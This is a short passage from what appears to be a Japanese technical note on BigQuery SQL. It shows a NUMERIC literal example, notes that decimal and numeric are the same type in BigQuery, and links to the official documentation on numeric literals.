SELECT NUMERIC '-9.876e-3';
```

# ちなみに
bqでは、**decimal=numeric** です。

# 本家のリテラル記述方法の説明ページへのリンク
https://cloud.google.com/bigquery/docs/reference/standard-sql/lexical?hl=ja#numeric_literals